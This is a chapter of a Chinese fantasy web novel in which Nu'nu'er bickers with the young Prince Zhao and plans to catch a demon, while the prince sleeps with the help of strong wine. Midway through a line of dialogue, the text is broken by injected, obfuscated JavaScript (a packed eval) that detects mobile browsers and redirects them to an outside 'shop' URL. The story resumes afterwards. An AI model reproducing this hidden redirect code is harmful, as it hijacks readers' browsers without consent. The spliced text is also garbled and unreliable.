17. 第 17 章
作品:《天官诡闻录》 奴奴儿跟小树原本吃的高兴,突然想起小赵王几日夜没歇息过,似乎也没见他吃过东西。
她见过蛮荒城的银狼王,整日吃喝玩乐,奸//淫掳掠都是消遣。
从没见过整天整夜,一丝不苟处理公务的“王上”。
看样子做大启的“王上”,也不轻松。
想到自己先前在春宵阁的所作所为,奴奴儿难得地心中有一丝愧疚,这若是放在蛮荒城,自己早被拉出去剁碎了喂獒犬了。
这小赵王虽看似冷煞不近人情,实则倒还算是宽厚的,至少不会无缘无故杀人。
又想如今自己人在屋檐下,不如稍微缓和一下跟小赵王的关系,于是便捡了几块爱吃的点心放在盘子里,想送出来给他吃。
谁知却又听见小赵王说自己那句话——中洛府的天官,就算不是蒋天官那样出身名门,性情端庄,至少是个正经人,小树都比她强。
其实……奴奴儿自己心里也是这样想的。
天官?她不配。
但自己心里想想,跟别人当面说出来,是两码事。
一瞬间心中竟然生出几分莫名的羞恼。
徐先生忙对着小赵王轻轻摇头。
小赵王也意识到自己“失言”了,他从小被教导如何做一个合格的王上,也知道自己跟大启国运相连,更是古祥州一州气运所在,故而一言一行都格外在意,尽量不会做到失言失态。
毕竟如他一样的身份,所作所为,未必只是止于当下而已。
若是个寻常人,情绪动时,做点什么或者说点什么,兴许所做所说,都只限于那一时刻的“作用”,对其后续人生,影响有限。
而小赵王随意做的一件事,就有可能在古祥州掀起不小波澜,随口的一句话,也可能会引发不测的变故。
所以向来谨言慎行。
可自打跟奴奴儿相识,就屡屡犯错破戒。
想到方才燕王府送来的消息……莫不是自己真的遇上了冤家对头,命中的魔星?
面对小赵王甘为执戟的话,奴奴儿很想理直气壮地说出一句——“那一言为定,谁反悔谁是乌龟”。
但最终,脸皮到底还没有厚到那种地步。
她明知道小赵王是在调侃,偏偏她自己也觉着不可能。
奴奴儿磨牙:“那罢了,我可用不起殿下这样尊贵的人。”
本来想把那点心给他,这会儿却改主意了,才不管他如何呢,爱吃不吃,饿着他,或许能少说几句难听的话。
小赵王也留意到她手中端着的点心,正欲开口,奴奴儿拿了一块放进自己的嘴里,像是示威般地大嚼。
徐先生见她去了,才低声笑道:“奴奴是个外柔内刚的,方才我看她很不忿呢。”
小赵王没得到那盘点心,哼道:“是么?柔没看出来,刚也不多见,她不忿又如何,难道她敢去问心石么?就因她身上带着的那不明的煞物,只怕就会被问心石击杀当场。”
这句,却叫徐先生哑口无言了。
大启皇朝的问心石,是神圣之物,莫说是那些邪魔鬼祟敬而远之不敢靠近,就算是心思淫邪作恶多端的人,都要绕开走,不然被问心石照到,拷问出心底恶邪,必然不会轻恕,哪儿有人敢不知死活,贸然去问心。
蒋天官陨落前指了南城门方向,小赵王才去搜查的春宵楼,奴奴儿身上又多了属于王上的气机,再加上她的神通……徐先生才会那样想。但……这恶煞的存在,确实阻断了奴奴儿成为天官的可能。
正如小赵王那个所说,只要奴奴儿敢去府衙问心,只怕立刻就会被问心石斩杀。更何况,这小女郎是从蛮荒城逃入的,谁知手上有没有沾染血腥?或者做过别的亏心之事,倒是不敢细想了。
奴奴儿来到偏厅中,小树正乖乖等她,见她面色悻悻地端着盘子回来,问道:“阿姐,王爷不吃么?”
“他不吃,王爷高高在上的,惯会喝风饮露,吃不得这些。”奴奴儿撇着嘴回答。
小树认了真:“是么?王爷果然厉害。”
奴奴儿看他天真无邪的眼神,嗤地笑了:“算了,他不吃正好,我们乐得多吃些。”
旁边侍奉的女官,名唤晚槐,是先前从皇都陪着小赵王来到古祥州的,是小赵王身旁头号得力的人,王府内宅之中的总管事。
因担心奴奴儿新进王府,又是个不知体统的人,怕她冲撞小赵王,故而贴身跟随。
听他们如此言语,本想阻止,不过两个人一个有口无心,一个天真烂漫,晚槐微微一笑,装作没听见罢了。
小树却又向着奴奴儿身上闻了闻:“阿姐身上有味道。”
奴奴儿跟着低头,只嗅到香皂的气味,香皂这种矜贵东西,她在蛮荒城只见过一次,香的她几乎想拿起来啃了吃,没想到竟用上了。
“没有味儿啊,才洗过的。”奴奴儿疑惑地说。
小树眨了眨眼,道:“也许是哪里蹭到的,有点苦,不好闻。”
奴奴儿惊奇:“我明明闻着很香的。”
小树说不出来。
倒是肩头的昌爷冒出来,道:“是妖邪,很淡的一丝残留。”
赵王府是整个古祥州的中枢之地,气运鼎盛。昌爷先前又被小赵王剑气所冲,因此都在隐藏养伤,不敢冒头。
此刻稍微恢复,忍不住便多说了一句。
奴奴儿很错愕,避开晚槐的视线,假装走到窗户旁看风景:“可知是什么妖邪,为何总要去奸男人呢。”
昌爷咳嗽道:“你是女孩儿,说话文雅些。”
“那该怎么说?强//暴男子?倒也不至于吧。”
昌爷叹:“别的且不说了,只是我见这妖邪已经犯案两次,这是明面上的,私底下不知还有多少,也许还有些人不肯出面控告也是有的。”
“这个跟我却也没什么干系,”奴奴儿一顿:“对了,要是能吃了这妖邪,对你是不是有好处?”
昌爷思忖:“也许吧。”
奴奴儿动心:“这样的话,就得赶在衙门动手之前先下手为强了……谁捉到算谁的,不然若给王爷拿了去,皇朝监天司也许又要插手,我们连根毛都得不到了。”
昌爷又咳嗽。奴奴儿嘀咕道:“罢了罢了,我又没读过那些什么四书五经,如今能认得几个字,还能时不时地冒出四个字的词来,已经算我天赋异禀学的快了,话说的糙就糙些吧,横竖明白就行。”
回到桌边,奴奴儿又找出一块帕子包了剩下的糕点,放在怀中,显得鼓鼓囊囊,她稍微压了压,也不在乎。
小树打量着,忙握住她的手,奴奴儿道:“做什么?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053166|193641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿姐不要扔下我,我都听见……”
奴奴儿没等他说完,猛地捂住他的嘴,掩饰地笑:“我又不是自己吃,回头自然分给你。”
在女官晚槐诧异目光的注视下,拉着小树退了出去。
晚槐自忖反正都是在王府里,不至于如何,便未曾跟上,只出来回复小赵王。
前厅,小赵王听说奴奴儿拉着小树回后院了,倒也没有在意。
他确实有些累了,身上的伤还未好完全,阿坚扶着他回了卧房,脱去外衫,稍事歇息。
好不容易合了眼,心底却又有无数的场景不时浮现,耳畔又响起许多的吵嚷,哭声,笑声,辱骂,惨叫……不一而足。
门口,察觉小赵王翻来覆去,晚槐跟阿坚对视了眼。
阿坚向内示意,女官悄悄走到床边:“殿下,喝一爵金盛春吧?”
小赵王吁了口气,没有吱声,门外阿坚即刻招手,外间宫婢早捧了一个托盘,里头放着青铜古象的酒器,里头温着一个金制雕花的长颈酒壶,旁边放着事先温好了的同金制酒爵。
晚槐用帕子裹住酒壶,倒了热热的一爵酒,小心翼翼地来至床边。
小赵王翻身坐起,接在手中,犹豫片刻还是一饮而尽了。
不多时,冰雪般的脸上浮现淡淡的微红,小赵王重又卧倒,晚槐为他盖好了被褥,放下床帐。
来至门外,两人眼底都有些心疼之色。
当初小赵王来至古祥州,还只是个半大少年,那会儿赵王殿下不明不白殁了,古祥州多少的权臣悍将,哪里肯服一个垂髫小子。
又加上内外之事,整个古祥州的气运都落在小赵王身上,他只能按捺孤凄惶惑,一步步走到如今。
只有阿坚跟晚槐这些近侍才知道,从继任赵王开始,小赵王没有睡过一次安稳觉。
大概是因年纪小,又仓促接纳古祥州的气运,五道十三府,一百三十二县镇,邪祟的蠢动,黎民的哀声,灾难的预兆……种种,几乎夜夜入梦,搅的他无法安生。
这金盛春,是监天司沈监正给的秘方调治而成,十分烈性,只需要一爵便能醉倒过去,这些年来,小赵王只是依仗着这入喉滚烫的烈酒,才能睡上一宿。
只是他自己也克制着对此物的使用,毕竟沈翊也说过,酒大伤身,因此只有在实在熬不住的时候,才会饮上一口。
小赵王从午后睡下,猛然醒来,天色昏暗。
按照他先前经验,此刻应该已经是人定之时,今晚只怕又不能入睡了。他已经习惯了日夜混乱甚至颠倒,倒也不以为然。
只是阿坚的脸色无端有些难看,小赵王瞥了几眼:“何事?”
阿坚本来不想在他刚醒来就添堵,可到底瞒不过他的眼:“那个奴奴……”
小赵王心头一动。
“她、她不见了。”阿坚解释:“原本跟小树在院子里,再去看就不见了人,自王爷睡下到如今,已经命人满城搜捕,并无所获。”
小赵王抬眸,刹那间眼前无端浮现一幕场景:
一只玉臂探来,将他勾住。
娇香软玉欺身上来。
香囊的浓香底下是微苦的气息,蔓延而至。
不……这不是自己所见所感。
是奴奴儿。
那个家伙,在干什么?!

